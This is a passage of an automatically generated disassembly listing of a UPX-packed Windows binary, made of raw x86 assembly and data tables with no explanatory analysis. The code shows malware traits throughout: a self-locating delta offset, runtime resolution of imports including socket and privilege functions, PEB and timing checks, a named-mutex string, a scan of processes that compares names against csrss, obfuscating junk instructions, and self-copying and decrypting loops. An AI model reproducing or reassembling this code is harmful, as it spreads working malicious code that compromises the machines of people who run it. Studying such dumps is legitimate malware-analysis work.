		dd 0FD8C8597h, 0FBA3F824h, 7A1DC942h, 34BC67FEh, 1F94CD98h
		dd 9BFF2761h, 0F9FC1DC1h, 28CBCA70h, 611C6AFEh,	4FD6h
		dd 77Dh	dup(0)
UPX1		ends

; Section 3. (virtual address 00083000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00083000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 483000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 830C8h, 8308Ch, 3 dup(0)
		dd 830D5h, 8309Ch, 3 dup(0)
		dd 830E2h, 830A4h, 3 dup(0)
		dd 830EDh, 830ACh, 3 dup(0)
		dd 830F9h, 830B4h, 3 dup(0)
		dd 83104h, 830C0h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DFD4C9h, 0
		dd 77C4AEA3h, 0
		dd 7CA24A55h, 0
		dd 7E42DE87h, 7E45058Ah, 0
		dd 71AB2C69h, 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 76646100h, 33697061h
		dd 6C642E32h, 736D006Ch, 74726376h, 6C6C642Eh, 65687300h
		dd 32336C6Ch, 6C6C642Eh, 65737500h, 2E323372h, 6C6C64h
		dd 636F7377h, 2E32336Bh, 6C6C64h, 6F4C0000h, 694C6461h
		dd 72617262h, 4179h, 74654700h,	636F7250h, 72646441h, 737365h
		dd 78450000h, 72507469h, 7365636Fh, 73h, 74654700h, 72657355h
		dd 656D614Eh, 41h, 656D6974h, 53000000h, 61684348h, 4E65676Eh
		dd 6669746Fh, 79h, 646E6946h, 646E6957h, 41776Fh, 4D000000h
		dd 61737365h, 6F426567h, 4178h,	1B9Fh dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48A000:				; CODE XREF: sub_48EB00+15Bj
		adc	ch, cl
		dec	ecx
		sbb	cl, al
		mov	cl, dl
		mov	cl, 0E9h
		mov	cl, ah
		mov	[edx+10h], eax
		or	ch, 0CFh
		retn
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		db 0
byte_48A013	db 0C8h			; CODE XREF: sub_48AFCB:loc_48AFFEp
; ---------------------------------------------------------------------------
		sub	al, cl

; =============== S U B	R O U T	I N E =======================================



sub_48A016	proc near		; CODE XREF: sub_48EB00+16Bp
		mov	ecx, 4998h
		jmp	loc_48EC93
sub_48A016	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ED6C


loc_48A020:				; CODE XREF: sub_48ED6C+55j
		cmc
		mov	esi, [edi+eax*4]
		add	esi, ebx
		mov	ecx, 5F803937h
		lea	eax, [ebx+ebx*2]
		or	ah, cl
		mov	al, cl
		retn	4
; END OF FUNCTION CHUNK	FOR sub_48ED6C

; =============== S U B	R O U T	I N E =======================================



sub_48A035	proc near		; CODE XREF: sub_48EB00-47p
					; sub_48EB00+128p
		call	esi
		xor	ecx, 4
		mov	ch, 51h
		sbb	ecx, 43617A89h
		and	dh, 0F7h
		sub	ch, bh
		sub	ch, 0ADh
		xor	cl, 0FEh
		not	edx
		nop
		lea	ecx, [eax]
		cld
		not	dl
		xchg	eax, edi
		jmp	loc_48EDD0
sub_48A035	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ED6C


loc_48A05B:				; CODE XREF: sub_48ED6C+8Cj
		lea	esi, [ebp-3]
		not	ch
		or	ah, 6Dh
		nop
		pop	esi
		push	0FFFFFFFFh
		lea	esi, [ebx+esi]
		jmp	loc_48EB27
; ---------------------------------------------------------------------------


loc_48A06F:				; CODE XREF: sub_48ED6C-8Cj
		mov	edx, 0DEC07AF8h
		sub	ah, 5Ah
		not	dh
		jnz	loc_48ECFD
		nop
		sub	al, 4Bh
		xchg	dl, ch
		jz	loc_48ED13
		jmp	loc_48ECFD
; END OF FUNCTION CHUNK	FOR sub_48ED6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48A08F:				; CODE XREF: sub_48EB00+A4j
		jnz	loc_48EB37
		not	ah
		lea	eax, [ebx-93EBE8Bh]
		mov	esi, [edx+24h]
		dec	al
		sbb	ah, dh
		mov	edi, [edx+1Ch]
		jmp	loc_48EDB9
; ---------------------------------------------------------------------------


loc_48A0AC:				; CODE XREF: sub_48EB00+185j
		push	0C353EAFh
		sub	ecx, ebx
		lea	edx, [eax]
		clc
		call	sub_48ED6C
		dec	edi
		not	edi
		or	edi, 0FFFFFFAFh
		inc	ecx
		mov	eax, edx
		cwde
		test	edi, 0D856CFD6h
		call	esi
		stc
		sub	edx, 0FFFFFF9Ah


loc_48A0D1:				; CODE XREF: sub_48EB00+322j
		or	eax, eax
		jmp	loc_48EC3D
; ---------------------------------------------------------------------------


loc_48A0D8:				; CODE XREF: sub_48EB00+CBj
		add	ecx, 993EEC9Eh
		mov	esi, esp
		cpuid
		shr	ebx, 18h
		nop
		mov	dl, 0E7h
		cdq
		lea	ecx, [edx+3E8A9F2Ah]
		btc	[ebp+0A3h], ebx
		jmp	loc_48EB80
; ---------------------------------------------------------------------------


loc_48A0FB:				; CODE XREF: sub_48EB00+FFj
		xchg	eax, [esp+4+var_4]
		sub	[esp+4+var_4], eax
		movzx	eax, byte ptr [edi]
		nop
		cld
		nop
		lea	edx, [edx]
		inc	edi
		jmp	loc_48EAC5
; ---------------------------------------------------------------------------


loc_48A10F:				; CODE XREF: sub_48EB00+170j
		jmp	short loc_48A112
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48A112:				; CODE XREF: sub_48EB00:loc_48A10Fj
		mov	[esp+4+var_4], 27CBBDB3h
		call	sub_48ED6C
		push	esi
		mov	edx, [ebp+0BAh]
		call	$+5
		pop	ebp
		lea	ecx, [ebp+4B1Eh]
		sub	ebp, 1235120Bh
		and	dword ptr [ebp+12351642h], 0
		lea	eax, [ebp+123511FFh]
		and	dword ptr [ebp+12351646h], 0
		add	eax, [eax-4]
		and	dword ptr [ebp+1235164Ah], 0
		mov	byte ptr [ebp+1235137Dh], 1
		pop	dword ptr [ebp+12355B6Ch]
		mov	[ebp+12355B74h], eax
		mov	[ebp+12355B70h], edx
		mov	[ebp+12351376h], ecx
		push	edi
		xor	ecx, ecx
		lea	edi, [ebp+1235226Ch]
		lea	esi, [ebp+123521B4h]
		mov	cl, 2Eh
		call	sub_48AFCB
		rdtsc
		mov	[ebp+12355B7Ch], eax
		mov	[ebp+12355B80h], eax
		cmp	byte ptr [ebp+12351630h], 1
		jnz	short loc_48A1C8
		xor	[ebp+12354BB3h], eax
		push	0
		call	dword ptr [ebp+1235226Ch]
		movzx	eax, word ptr [eax+12h]
		dec	byte ptr [ebp+12351630h]
		mov	[ebp+12351632h], eax
		mov	byte ptr [ebp+12351631h], 1
		jmp	short loc_48A1CF
; ---------------------------------------------------------------------------


loc_48A1C8:				; CODE XREF: sub_48EB00-4961j
		mov	byte ptr [ebp+12351631h], 0


loc_48A1CF:				; CODE XREF: sub_48EB00-493Aj
		lea	edi, [ebp+123521A6h]
		mov	byte ptr [ebp+123526F7h], 47h
		mov	cl, 3
		call	sub_48B60A
		pop	edi
		mov	byte ptr [ebp+123526F7h], 90h
		call	dword ptr [ebp+123522D4h]
		shr	eax, 1Fh
		jz	loc_48A2AB
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+12355B84h], eax
		push	5298h
		push	0
		call	dword ptr [ebp+1235231Ch]
		test	eax, eax
		jz	short loc_48A294
		call	sub_48A571
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+1235262Fh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+12355B84h]
		add	esp, 20h
		test	eax, eax
		jz	short loc_48A294
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+12355B84h]
		test	eax, eax
		jz	short loc_48A294
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+12355B84h]
		push	1000Ah
		call	dword ptr [ebp+12355B84h]
		call	sub_48A29B


loc_48A294:				; CODE XREF: sub_48EB00-48E5j
					; sub_48EB00-48B3j ...
		mov	edi, offset loc_48EC48
		jmp	edi
; END OF FUNCTION CHUNK	FOR sub_48EB00

; =============== S U B	R O U T	I N E =======================================



sub_48A29B	proc near		; CODE XREF: sub_48EB00-4871p
					; sub_48A29B+Dj ...
		push	1
		pop	ecx
		jecxz	short locret_48A2AA
		push	0Ah
		call	dword ptr [ebp+12352314h]
		jmp	short sub_48A29B
; ---------------------------------------------------------------------------

locret_48A2AA:				; CODE XREF: sub_48A29B+3j
		retn
sub_48A29B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48A2AB:				; CODE XREF: sub_48EB00-490Cj
		cmp	dword ptr [ebp+123522A4h], 0
		jz	short loc_48A294
		and	dword ptr [ebp+12355B84h], 0
		push	0FFFFFFFFh
		push	0FFFFFFFEh
		call	dword ptr [ebp+12352310h]
		call	near ptr loc_48A2CF+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_48A2CF:				; CODE XREF: sub_48EB00-483Bp
		add	bh, bh
		xchg	eax, ebp
		insb
		and	dh, ds:8DC93312h
		mov	ch, 24h
		and	esi, ds:68BD8D12h
		and	esi, ds:9311B112h
		call	sub_48AFCB
		cmp	dword ptr [ebp+123523A8h], 0
		jz	short loc_48A294
		mov	eax, [ebp+12352380h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+12355AE1h]
		cmp	dword ptr [ebp+12355AE1h], 0FFFFh
		jbe	short loc_48A317
		and	dword ptr [ebp+12352380h], 0


loc_48A317:				; CODE XREF: sub_48EB00-47F2j
		mov	eax, [ebp+1235236Ch]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+1235574Eh]
		cmp	dword ptr [ebp+1235574Eh], 0FFFFh
		ja	loc_48A294
		mov	eax, [ebp+12352388h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+123557D3h]
		cmp	dword ptr [ebp+123557D3h], 0FFFFh
		ja	loc_48A294
		mov	eax, [ebp+12352370h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+123557DDh]
		cmp	dword ptr [ebp+123557DDh], 0FFFFh
		ja	loc_48A294
		mov	ecx, [ebp+12352374h]
		jecxz	short loc_48A3B6
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+123557EAh]
		cmp	dword ptr [ebp+123557EAh], 0FFFFh
		ja	loc_48A294
		mov	ecx, [ebp+1235237Ch]
		jecxz	short loc_48A3B6
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+123557F7h]
		cmp	dword ptr [ebp+123557F7h], 0FFFFh
		ja	loc_48A294


loc_48A3B6:				; CODE XREF: sub_48EB00-4786j
					; sub_48EB00-4765j
		mov	ecx, [ebp+12352398h]
		jecxz	short loc_48A3DA
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+1235582Bh]
		cmp	dword ptr [ebp+1235582Bh], 0FFFFh
		jbe	short loc_48A3DA
		and	dword ptr [ebp+12352398h], 0


loc_48A3DA:				; CODE XREF: sub_48EB00-4744j
					; sub_48EB00-472Fj
		lea	eax, [ebp+12352182h]
		lea	edi, [ebp+12355AE8h]
		push	eax
		push	edi
		call	dword ptr [ebp+1235227Ch]
		call	sub_48B36F
		jnz	short loc_48A424
		mov	eax, large fs:30h
		mov	eax, [eax+54h]
		mov	eax, [eax+4]
		push	dword ptr [eax+14h]
		push	edi
		call	dword ptr [ebp+1235227Ch]
		lea	eax, [ebp+123521A4h]
		push	eax
		push	edi
		call	dword ptr [ebp+12352274h]
		call	sub_48B36F
		jz	loc_48A294


loc_48A424:				; CODE XREF: sub_48EB00-470Dj
		push	5298h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	4
		push	0
		push	2
		push	edx
		push	0
		push	5298h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+12352384h]
		pop	eax
		pop	ecx
		test	eax, eax
		jz	loc_48A294
		call	sub_48A571
		push	eax
		push	esp
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+1235238Ch]
		test	eax, eax
		pop	edi
		jnz	short near ptr loc_48A49B+2
		call	sub_48B05A
		call	near ptr loc_48A480+4
		push	ebx
		db	65h
		inc	esp
		bound	esi, gs:[ebp+67h]
		push	eax
		jb	short loc_48A4E6
		jbe	short near ptr loc_48A4E6+2
		insb


loc_48A480:				; CODE XREF: sub_48EB00-4692p
		db	65h
		add	gs:[bx-18h], dl
		or	dword ptr [esi], 0B5FF0000h
		lock pop ebx
		xor	eax, 0AC95FF12h
		and	dh, ds:95FF5712h
		mov	[edx], ah


loc_48A49B:				; CODE XREF: sub_48EB00-4699j
		xor	eax, 6A006A12h
		add	bh, bh
		xchg	eax, ebp
		movsb
		and	dh, ds:128B912h
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		xchg	eax, edi
		sub	esp, ecx
		mov	[esp], ecx
		push	esp
		push	edi
		call	dword ptr [ebp+123522F4h]
		xor	esi, esi
		and	dword ptr [ebp+12355C40h], 0
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48A4C3:				; CODE XREF: sub_48EB00-462Dj
					; sub_48EB00-45C5j
		push	esp
		push	edi
		call	dword ptr [ebp+123522F8h]
		test	eax, eax
		jz	short loc_48A53D
		inc	esi
		cmp	esi, 4
		jb	short loc_48A4C3
		push	dword ptr [esp+8]
		push	0
		push	2Ah
		call	dword ptr [ebp+123522F0h]
		test	eax, eax
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48A4E6:				; CODE XREF: sub_48EB00-4685j
					; sub_48EB00-4683j
		fcom	qword ptr [ebx+0F41E8h]
		add	[ebx], dh
		leave
		xchg	eax, ecx
		jecxz	short loc_48A534
		cmp	[ebp+12355C40h], eax
		jnz	short loc_48A534
		mov	edx, [esp+24h]
		or	edx, 20202020h
		cmp	edx, 73727363h
		jz	short loc_48A534
		add	ecx, 1FD1h
		push	eax
		push	esp
		push	eax
		push	esi
		push	ecx
		push	eax
		push	eax
		push	ebx
		call	dword ptr [ebp+1235229Ch]
		test	eax, eax
		pop	ecx
		jz	short loc_48A534
		push	[esp+78h+var_70]
		pop	dword ptr [ebp+12355C40h]
		call	sub_48A29B


loc_48A534:				; CODE XREF: sub_48EB00-4610j
					; sub_48EB00-4608j ...
		push	ebx
		call	dword ptr [ebp+12352288h]
		jmp	short loc_48A4C3
; ---------------------------------------------------------------------------


loc_48A53D:				; CODE XREF: sub_48EB00-4633j
		add	esp, 128h
		push	edi
		call	dword ptr [ebp+12352288h]
		jmp	loc_48A294
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		align 10h
		dd 1C00h, 58585800h, 529800h, 1ECA00h, 3 dup(0)
		dd 50ABBB00h
		db 84h

; =============== S U B	R O U T	I N E =======================================



sub_48A571	proc near		; CODE XREF: sub_48EB00-48E3p
					; sub_48EB00-46ADp
		sub	[esp+0], ebp
		lea	edi, [eax+1F0h]
		lea	esi, [ebp+123511F0h]
		lea	eax, [edi+481h]
		push	esi
		mov	ecx, 1267h
		rep movsd
		jmp	eax
sub_48A571	endp

; ---------------------------------------------------------------------------
		sub	eax, 12351671h
		pop	esi
		mov	ebp, eax
		lea	edi, [eax+12351000h]
		add	[esp], eax
		sub	esi, [ebp+12351EB3h]
		xor	edx, edx
		dec	byte ptr [ebp+12351732h]


loc_48A5AF:				; CODE XREF: UPX2:0048A614j
		push	esi
		movzx	ebx, word ptr [ebp+edx*8+12351737h]
		movzx	ecx, word ptr [ebp+edx*8+12351739h]
		add	esi, ebx
		cmp	ebx, [ebp+12351EB3h]
		jbe	short loc_48A5D0
		sub	ebx, 499Ch


loc_48A5D0:				; CODE XREF: UPX2:0048A5C8j
		and	ecx, 7FFFh


loc_48A5D6:				; CODE XREF: UPX2:0048A609j
		bt	[ebp+12351D73h], ebx
		jnb	short loc_48A5E2
		inc	esi
		jmp	short loc_48A608
; ---------------------------------------------------------------------------


loc_48A5E2:				; CODE XREF: UPX2:0048A5DDj
		cmp	dword ptr [ebp+12351EB7h], 0
		jz	short loc_48A607
		mov	eax, ebx
		sub	eax, [ebp+12351EB7h]
		jb	short loc_48A607
		cmp	eax, 3
		jnb	short loc_48A607
		mov	al, [eax+ebp+12351EBBh]
		inc	esi
		stosb
		jmp	short loc_48A608
; ---------------------------------------------------------------------------


loc_48A607:				; CODE XREF: UPX2:0048A5E9j
					; UPX2:0048A5F3j ...
		movsb


loc_48A608:				; CODE XREF: UPX2:0048A5E0j
					; UPX2:0048A605j
		inc	ebx
		loop	loc_48A5D6
		inc	dl
		pop	esi
		cmp	dl, [ebp+12351732h]
		jb	short loc_48A5AF
		push	1Fh
		lea	esi, [ebp+12351EBEh]
		pop	ecx


loc_48A622:				; CODE XREF: UPX2:0048A639j
		movzx	edx, word ptr [esi]
		movzx	eax, word ptr [esi+4]
		movzx	ebx, word ptr [esi+2]
		sub	eax, ebx
		mov	[edx+ebp+12351000h], eax
		add	esi, 6
		loop	loc_48A622
		mov	byte ptr [ebp+1235118Bh], 0
		mov	byte ptr [ebp+123511EBh], 0C3h
		and	dword ptr [ebp+12355B74h], 0
		retn
; ---------------------------------------------------------------------------
		db 2Ch,	0Dh, 0
		dd 4ADA0000h, 150018h, 4E88000Dh, 5001Fh, 4DC60022h, 50005h
		dd 4CDB0027h, 110005h, 6F002Ch,	1B001Bh, 4CFD003Dh, 0F002Bh
		dd 4D8B0058h, 110029h, 4C750067h, 90019h, 4DFD0078h, 0E802Ah
		dd 0AC0081h, 80027h, 4C3D008Fh,	0E800Dh, 4AF70097h, 8002Bh
		dd 4B4800A5h, 0C000Eh, 4C0400ADh, 8001Bh, 4CB200B9h, 10800Fh
		dd 4CE500C1h, 0B0013h, 4C4A00D1h, 90011h, 0DCh,	0E001Bh
		dd 4C9300E5h, 6001Ah, 4D5C00F3h, 9002Ah, 4DEC00F9h, 6000Ch
		dd 5B0102h, 8000Fh, 4B270108h, 0F001Ch,	4BD00110h, 0A002Fh
		dd 0FB011Fh, 7000Fh, 4AC50129h,	0F0010h, 4B950130h, 0C000Fh
		dd 8F013Fh, 80018h, 4DB9014Bh, 0B0008h,	200153h, 0A0036h
		dd 4DD0015Eh, 80017h, 4B5B0168h, 0D0020h, 4BA90170h, 0C0022h
		dd 0D8017Dh, 8001Eh, 4B800189h,	100010h, 4D2D0191h, 0C002Ah
		dd 4AAB01A1h, 0A0015h, 4C2401ADh, 0B0014h, 4E2701B7h, 0D000Dh
		dd 4E6B01C2h, 70018h, 4CC101CFh, 0E0015h, 4E3901D6h, 0C002Dh
		dd 4C6001E4h, 499C0010h, 10F01F0h, 0C99Ch, 137h	dup(0)
		dd 0C7FF0000h, 0FFC1203Dh, 0FFFFFF83h, 800FFF1Fh, 0C818Fh
		dd 0F1FE0h, 0E7FFF83Eh,	7FE0FF39h, 0FDF00780h, 0FF00107Fh
		dd 1FC1CE03h, 0FF8FF804h, 0F000FF83h, 8003D7FFh, 1FFFFC4Fh
		dd 7CB41CFEh, 0F6000000h, 0B9E0799Fh, 0F803C7FFh, 3FF8FFFFh
		dd 700E07Bh, 0F8000FEh,	780F8F18h, 187E1C0h, 43FF0E0h
		dd 0FEE03F40h, 0EC06027h, 0FF80E000h, 0F03E0003h, 0FFE60FFEh
		dd 0FF7FF803h, 0BC7FFFFCh, 0DFE0603Fh, 83E01F7Fh, 0F81F33F1h
		dd 0FFFEC007h, 0C03FFF63h, 0FFF3E000h, 0F00FC0FFh, 0FF83807Fh
		dd 98438003h, 7C7FDE00h, 0CE047C7Ch, 8187E073h,	800003FFh
		dd 0E07h, 21h dup(0)
		dd 4EAC0000h, 10F0000h,	0
		dd 73FF0000h, 5000117h,	9B000500h, 0C1009F00h, 500A100h
		dd 0B200BA00h, 88000500h, 0F300EF4Bh, 1500E500h, 0F3011901h
		dd 36013200h, 41011B01h, 9014501h, 68016401h, 31015E01h
		dd 3D003500h, 3D003900h, 44004800h, 27004800h, 52004E00h
		dd 5400F400h, 88000500h, 5D00594Bh, 61009700h, 95006500h
		dd 75007100h, 7D008100h, 8D008100h, 8B008700h, 9100F400h
		dd 6C009500h, 7A017601h, 85009501h, 8B000501h, 96019201h
		dd 0A200F401h, 0F401A601h, 0AB01A700h, 0AF015B01h, 5B01B301h
		dd 501C601h, 0DA009500h, 0EB000501h, 501E701h, 0E000BF00h
		dd 0F0000501h, 0F001EC01h, 0FB00E001h, 0F401FF01h, 5020200h
		dd 0E013700h, 95020B02h, 8A148600h, 1A00C114h, 0AA000100h
		dd 0C3000100h, 0D1000300h, 3000400h, 9000101h, 0D000101h
		dd 28000101h, 2C000101h, 45000101h, 4D000101h, 7A000101h
		dd 96000101h, 0BE000101h, 0D0000101h, 101h, 6008000h, 0D00F700h
		dd 2A00B700h, 3D003600h, 5200B700h, 5D00A700h, 65003600h
		dd 6F00B500h, 75003700h, 8100B600h, 8B00B700h, 8D00A700h
		dd 8F00B600h, 95003600h, 9600FF00h, 97008000h, 9F008700h
		dd 0B6008000h, 0C3008600h, 0E0008200h, 0EC008000h, 0F3000000h
		dd 0F4008700h, 0F600B700h, 0FC00B600h, 300B300h, 900A101h
		dd 0B00A001h, 19000001h, 2C008001h, 45000001h, 4B008101h
		dd 56008401h, 5D008701h, 62008601h, 68000601h, 6B00A401h
		dd 6C00A001h, 7200B201h, 7A003601h, 7F00B201h, 9600B701h
		dd 9A00A501h, 0A600B501h, 0AB00A301h, 0B300A001h, 0BA00B001h
		dd 0BE003001h, 0C400B001h, 0CF00B201h, 0D4003201h, 0D800B401h
		dd 0DE00B601h, 0E400B701h, 0EB00B601h
		db 1, 0B2h, 0

; =============== S U B	R O U T	I N E =======================================



sub_48AFCB	proc near		; CODE XREF: sub_48EB00-497Bp
					; sub_48EB00-4819p ...
		lodsd
		push	ecx
		push	esi
		push	edi
		cmp	dword ptr [ebp+12355B74h], 0
		jz	short loc_48AFE0
		xor	eax, [ebp+12355B70h]
		jmp	short loc_48AFE6
; ---------------------------------------------------------------------------


loc_48AFE0:				; CODE XREF: sub_48AFCB+Bj
		xor	eax, [ebp+12351137h]


loc_48AFE6:				; CODE XREF: sub_48AFCB+13j
		push	eax
		mov	[ebp+12355B78h], esp
		cmp	dword ptr [ebp+12355B74h], 0
		jz	short loc_48AFFE
		call	dword ptr [ebp+12355B74h]
		jmp	short loc_48B003
; ---------------------------------------------------------------------------


loc_48AFFE:				; CODE XREF: sub_48AFCB+29j
		call	near ptr byte_48A013


loc_48B003:				; CODE XREF: sub_48AFCB+31j
		cmp	esp, [ebp+12355B78h]
		jnz	short loc_48B010
		pop	ecx
		xor	eax, eax
		jmp	short loc_48B04E
; ---------------------------------------------------------------------------


loc_48B010:				; CODE XREF: sub_48AFCB+3Ej
		mov	eax, esi
		mov	edx, [ebx+3Ch]
		sub	eax, ebx
		sub	eax, [edx+ebx+78h]
		jb	short loc_48B04D
		sub	eax, [edx+ebx+7Ch]
		jnb	short loc_48B04D
		sub	esp, 40h
		mov	edi, esp


loc_48B028:				; CODE XREF: sub_48AFCB+63j
		lodsb
		cmp	al, 2Eh
		jz	short loc_48B030
		stosb
		jmp	short loc_48B028
; ---------------------------------------------------------------------------


loc_48B030:				; CODE XREF: sub_48AFCB+60j
		mov	eax, 4C4C442Eh
		stosd
		mov	al, 0
		stosb
		push	esp
		call	dword ptr [ebp+1235226Ch]
		add	esp, 40h
		push	esi
		push	eax
		call	dword ptr [ebp+12355B6Ch]
		jmp	short loc_48B04E
; ---------------------------------------------------------------------------


loc_48B04D:				; CODE XREF: sub_48AFCB+50j
					; sub_48AFCB+56j
		xchg	eax, esi


loc_48B04E:				; CODE XREF: sub_48AFCB+43j
					; sub_48AFCB+80j
		pop	edi
		pop	esi
		pop	ecx
		stosd
		dec	ecx
		jnz	sub_48AFCB
		retn
sub_48AFCB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48B05A	proc near		; CODE XREF: sub_48EB00-4697p
		call	near ptr loc_48B06B+1
		inc	ecx
		inc	esp
		push	esi
		inc	ecx
		push	eax
		dec	ecx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_48B06B:				; CODE XREF: sub_48B05Ap
		add	bh, bh
sub_48B05A	endp ; sp-analysis failed

		xchg	eax, ebp
		call	near ptr 895AE595h
		test	esi, eax
		pop	ebx
		xor	eax, 16E812h
; ---------------------------------------------------------------------------
		db 0
		db    0
aLookupprivileg	db 'LookupPrivilegeValueA',0
; ---------------------------------------------------------------------------
		push	eax
		call	dword ptr [ebp+12355B6Ch]
		mov	[ebp+12355BF4h], eax
		retn
; ---------------------------------------------------------------------------
		dd offset dword_401000+1F05Ch
		db 61h,	0, 73h
		dd 4E006500h, 6D006100h, 64006500h, 62004F00h, 65006A00h
		dd 74006300h, 5C007300h, 72006A00h, 74007A00h, 74005600h
		dd 69000000h, 0FE1710Eh, 8AB11877h, 28606EF9h, 10606EEFh
		dd 0F0606EECh, 0B9B1186Eh, 0D0606E7Fh, 30AD0453h, 0B748E416h
		dd 0E59C199Dh, 82BBD804h, 54899F6Bh, 0CA2AE61Ah, 4824DE79h
		dd 687F3E0Ch, 0B149C4A1h, 7DC5210Bh, 0E81F9EC0h, 4D161DF3h
		dd 0E112CC1Dh, 4812CC10h, 9705D141h, 30E7EA3Fh,	0BE844B24h
		dd 0A4E6E31Fh, 9EC53404h, 145CF335h, 6B6A5F9Ah,	1F8C3170h
		dd 5ECEE4B8h, 0E44F2957h, 0FC2AAE27h, 9BC29A8Eh, 0CEF1BE72h
		dd 4F5E97E5h, 0BEF53CEDh, 0B473A17Fh, 3462AC23h, 5182B647h
		dd 559E378Dh, 10EE4BFCh, 79953C96h, 0F5FFB9F3h,	9659AA24h
		dd 0E5223F13h, 0A1400710h, 417C80B6h, 327C834Dh, 0A17C810Fh
		dd 647C80BAh, 0B67C80BAh, 97C80BDh, 477C809Ah, 0EE7C809Bh
		dd 247C8286h, 5C7C801Ah, 677C8094h, 2C7C8023h, 377C8104h
		dd 0F7C8106h, 587C864Bh, 0DE7C80C0h, 0E37C80ABh, 3C7C8214h
		dd 777C8115h, 457C810Ah, 0CF7C831Ch, 0EA7C80B4h, 0FF7C814Eh
		dd 0CA7C8608h, 9C7C835Dh, 0DA7C8092h, 0DE7C8111h, 0A57C812Ah
		dd 637C821Bh, 2D7C8213h, 777C80FDh, 57C801Dh, 0E17C80B9h
		dd 0E57C8309h, 587C863Dh, 0E7C863Fh, 447C8018h,	827C8320h
		dd 8E7C8127h, 0B87C810Bh, 7A7C831Ch, 427C82FAh,	747C8024h
		dd 517C80B9h, 877C809Ah, 6E7C810Dh, 423262AAh, 3331B91Bh
		dd 50802969h, 0FDA46571h, 0EE7EBF00h, 89A7B2B2h, 1DA3551Ah
		dd 5437D7E3h, 0B628E7B4h, 4BCA2261h, 9D3E1305h,	0FB52DD05h
		dd 71C74164h, 8528B246h, 5DCCCB16h, 1D061CD9h, 6056AA83h
		dd 827C90D4h, 547C90D6h, 697C90D7h, 937C90D7h, 7C90D7h
		dd 0E3000000h, 557C90D8h, 0FD7C90DCh, 907C90DCh, 0BA7C90DDh
		dd 0B67C90DDh, 1B7C90DEh, 457C90E0h, 0AA7C90E0h, 327C90E1h
		dd 0C67C90EAh, 187C9130h, 15ECFB95h, 5649B243h,	50B767E9h
		dd 0ABEC1BDh, 48FFF9C2h, 3DFFF9B4h, 0E1FA703Eh,	0A3D26F98h
		dd 0DAE15A0Ch, 9363E5E5h, 7D03DFD2h, 0D5ED0141h, 230F8E1Bh
		dd 5F4A5B1Ah, 530DFF4h,	56B65E43h, 26AF633h, 0D48B5656h
		dd 0FF52016Ah, 0FF561872h, 355BF495h, 56C48B12h, 56505656h
		dd 0FF1870FFh, 35236895h, 10C48312h, 8C25Eh, 2B05E983h
		dd 6851C8h, 8DE80000h, 6A03244Ch, 51056A00h, 56A5350h
		dd 8B50CC8Bh, 6A5450D4h, 53525140h, 239495FFh, 0C4831235h
		dd 0A495FF0Ch, 83123523h
; ---------------------------------------------------------------------------
		les	ecx, [eax]
		retn

; =============== S U B	R O U T	I N E =======================================



sub_48B36F	proc near		; CODE XREF: sub_48EB00-4712p
					; sub_48EB00-46E7p

var_1F8		= byte ptr -1F8h

		sub	esp, 200h
		lea	ebx, [esp+200h+var_1F8]
		push	edi
		push	ebx
		call	dword ptr [ebp+1235227Ch]
		push	ebx
		call	dword ptr [ebp+12352284h]
		shl	eax, 1
		mov	[ebp+12355B68h], eax
		mov	[ebx-8], ax
		add	eax, 2
		mov	[ebx-6], ax
		mov	[ebx-4], ebx
		sub	esp, 14h
		sub	ebx, 8
		call	sub_48ECE8
		push	0
		push	edx
		push	40h
		push	ebx
		push	0
		push	18h
		mov	edx, esp
		push	0
		push	9298h
		mov	ecx, esp
